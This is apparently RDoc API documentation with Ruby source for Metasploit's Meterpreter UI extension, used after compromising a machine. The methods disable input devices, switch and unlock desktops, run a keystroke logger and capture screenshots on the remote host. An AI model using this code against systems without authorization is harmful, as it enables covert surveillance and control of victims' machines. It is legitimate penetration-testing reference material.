class Rex::Post::Meterpreter::Extensions::Stdapi::UI

Allows for interacting with the user interface on the remote machine, such as by disabling the keyboard and mouse.

WARNING:

Using keyboard and mouse enabling/disabling features will result in a DLL file being written to disk.

Public Class Methods

new(client) click to toggle source

Initializes the post-exploitation user-interface manipulation subsystem.

# File lib/rex/post/meterpreter/extensions/stdapi/ui.rb, line 34
def initialize(client)
  self.client = client
end

Public Instance Methods

disable_keyboard() click to toggle source

Disable keyboard input on the remote machine.

# File lib/rex/post/meterpreter/extensions/stdapi/ui.rb, line 47
def disable_keyboard
  return enable_keyboard(false)
end
disable_mouse() click to toggle source

Disable mouse input on the remote machine.

# File lib/rex/post/meterpreter/extensions/stdapi/ui.rb, line 67
def disable_mouse
  return enable_mouse(false)
end
enable_keyboard(enable = true) click to toggle source

Enable keyboard input on the remote machine.

# File lib/rex/post/meterpreter/extensions/stdapi/ui.rb, line 54
def enable_keyboard(enable = true)
  request = Packet.create_request('stdapi_ui_enable_keyboard')

  request.add_tlv(TLV_TYPE_BOOL, enable)

  response = client.send_request(request)

  return true
end
enable_mouse(enable = true) click to toggle source

Enable mouse input on the remote machine.

# File lib/rex/post/meterpreter/extensions/stdapi/ui.rb, line 74
def enable_mouse(enable = true)
  request = Packet.create_request('stdapi_ui_enable_mouse')

  request.add_tlv(TLV_TYPE_BOOL, enable)

  response = client.send_request(request)

  return true
end
enum_desktops() click to toggle source

Enumerate desktops.

# File lib/rex/post/meterpreter/extensions/stdapi/ui.rb, line 99
def enum_desktops
  request  = Packet.create_request('stdapi_ui_desktop_enum')
  response = client.send_request(request)
  desktopz = []
  if( response.result == 0 )
    response.each( TLV_TYPE_DESKTOP ) { | desktop |
    desktopz << {
        'session' => desktop.get_tlv_value( TLV_TYPE_DESKTOP_SESSION ),
        'station' => desktop.get_tlv_value( TLV_TYPE_DESKTOP_STATION ),
        'name'    => desktop.get_tlv_value( TLV_TYPE_DESKTOP_NAME )
      }
    }
  end
  return desktopz
end
get_desktop() click to toggle source

Get the current desktop meterpreter is using.

# File lib/rex/post/meterpreter/extensions/stdapi/ui.rb, line 118
def get_desktop
  request  = Packet.create_request( 'stdapi_ui_desktop_get' )
  response = client.send_request( request )
  desktop  = {}
  if( response.result == 0 )
    desktop = {
        'session' => response.get_tlv_value( TLV_TYPE_DESKTOP_SESSION ),
        'station' => response.get_tlv_value( TLV_TYPE_DESKTOP_STATION ),
        'name'    => response.get_tlv_value( TLV_TYPE_DESKTOP_NAME )
      }
  end
  return desktop
end
idle_time() click to toggle source

Returns the number of seconds the remote machine has been idle from user input.

# File lib/rex/post/meterpreter/extensions/stdapi/ui.rb, line 88
def idle_time
  request = Packet.create_request('stdapi_ui_get_idle_time')

  response = client.send_request(request)

  return response.get_tlv_value(TLV_TYPE_IDLE_TIME);
end
keyscan_dump() click to toggle source

Dump the keystroke buffer

# File lib/rex/post/meterpreter/extensions/stdapi/ui.rb, line 227
def keyscan_dump
  request  = Packet.create_request('stdapi_ui_get_keys')
  response = client.send_request(request)
  return response.get_tlv_value(TLV_TYPE_KEYS_DUMP);
end
keyscan_extract(buffer_data) click to toggle source

Extract the keystroke from the buffer data

# File lib/rex/post/meterpreter/extensions/stdapi/ui.rb, line 236
def keyscan_extract(buffer_data)
  outp = ""
  buffer_data.unpack("n*").each do |inp|
    fl = (inp & 0xff00) >> 8
    vk = (inp & 0xff)
    kc = VirtualKeyCodes[vk]

    f_shift = fl & (1<<1)
    f_ctrl  = fl & (1<<2)
    f_alt   = fl & (1<<3)

    if(kc)
      name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])
      case name
      when /^.$/
        outp << name
      when /shift|click/i
      when 'Space'
        outp << " "
      else
        outp << " <#{name}> "
      end
    else
      outp << " <0x%.2x> " % vk
    end
  end
  return outp
end
keyscan_start() click to toggle source

Start the keyboard sniffer

# File lib/rex/post/meterpreter/extensions/stdapi/ui.rb, line 209
def keyscan_start
  request  = Packet.create_request('stdapi_ui_start_keyscan')
  response = client.send_request(request)
  return true
end
keyscan_stop() click to toggle source

Stop the keyboard sniffer

# File lib/rex/post/meterpreter/extensions/stdapi/ui.rb, line 218
def keyscan_stop
  request  = Packet.create_request('stdapi_ui_stop_keyscan')
  response = client.send_request(request)
  return true
end
screenshot( quality=50 ) click to toggle source

Grab a screenshot of the interactive desktop

# File lib/rex/post/meterpreter/extensions/stdapi/ui.rb, line 153
def screenshot( quality=50 )
  request = Packet.create_request( 'stdapi_ui_desktop_screenshot' )
  request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality )

  # include the x64 screenshot dll if the host OS is x64
  if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
    screenshot_path = MetasploitPayloads.meterpreter_path('screenshot','x64.dll')
    if screenshot_path.nil?
      raise RuntimeError, "screenshot.x64.dll not found", caller
    end

    screenshot_dll  = ''
    ::File.open( screenshot_path, 'rb' ) do |f|
      screenshot_dll += f.read( f.stat.size )
    end

    request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true )
    request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length )
  end

  # but always include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
  screenshot_path = MetasploitPayloads.meterpreter_path('screenshot','x86.dll')
  if screenshot_path.nil?
    raise RuntimeError, "screenshot.x86.dll not found", caller
  end

  screenshot_dll  = ''
  ::File.open( screenshot_path, 'rb' ) do |f|
    screenshot_dll += f.read( f.stat.size )
  end

  request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, screenshot_dll, false, true )
  request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH, screenshot_dll.length )

  # send the request and return the jpeg image if successfull.
  response = client.send_request( request )
  if( response.result == 0 )
    return response.get_tlv_value( TLV_TYPE_DESKTOP_SCREENSHOT )
  end

  return nil
end
set_desktop( session=-1, station='WinSta0', name='Default', switch=false ) click to toggle source

Change the meterpreters current desktop. The switch param sets this new desktop as the interactive one (The local users visible desktop with screen/keyboard/mouse control).

# File lib/rex/post/meterpreter/extensions/stdapi/ui.rb, line 137
def set_desktop( session=-1, station='WinSta0', name='Default', switch=false )
  request  = Packet.create_request( 'stdapi_ui_desktop_set' )
  request.add_tlv( TLV_TYPE_DESKTOP_SESSION, session )
  request.add_tlv( TLV_TYPE_DESKTOP_STATION, station )
  request.add_tlv( TLV_TYPE_DESKTOP_NAME, name )
  request.add_tlv( TLV_TYPE_DESKTOP_SWITCH, switch )
  response = client.send_request( request )
  if( response.result == 0 )
    return true
  end
  return false
end
unlock_desktop(unlock=true) click to toggle source

Unlock or lock the desktop

# File lib/rex/post/meterpreter/extensions/stdapi/ui.rb, line 199
def unlock_desktop(unlock=true)
  request  = Packet.create_request('stdapi_ui_unlock_desktop')
  request.add_tlv(TLV_TYPE_BOOL, unlock)
  response = client.send_request(request)
  return true
end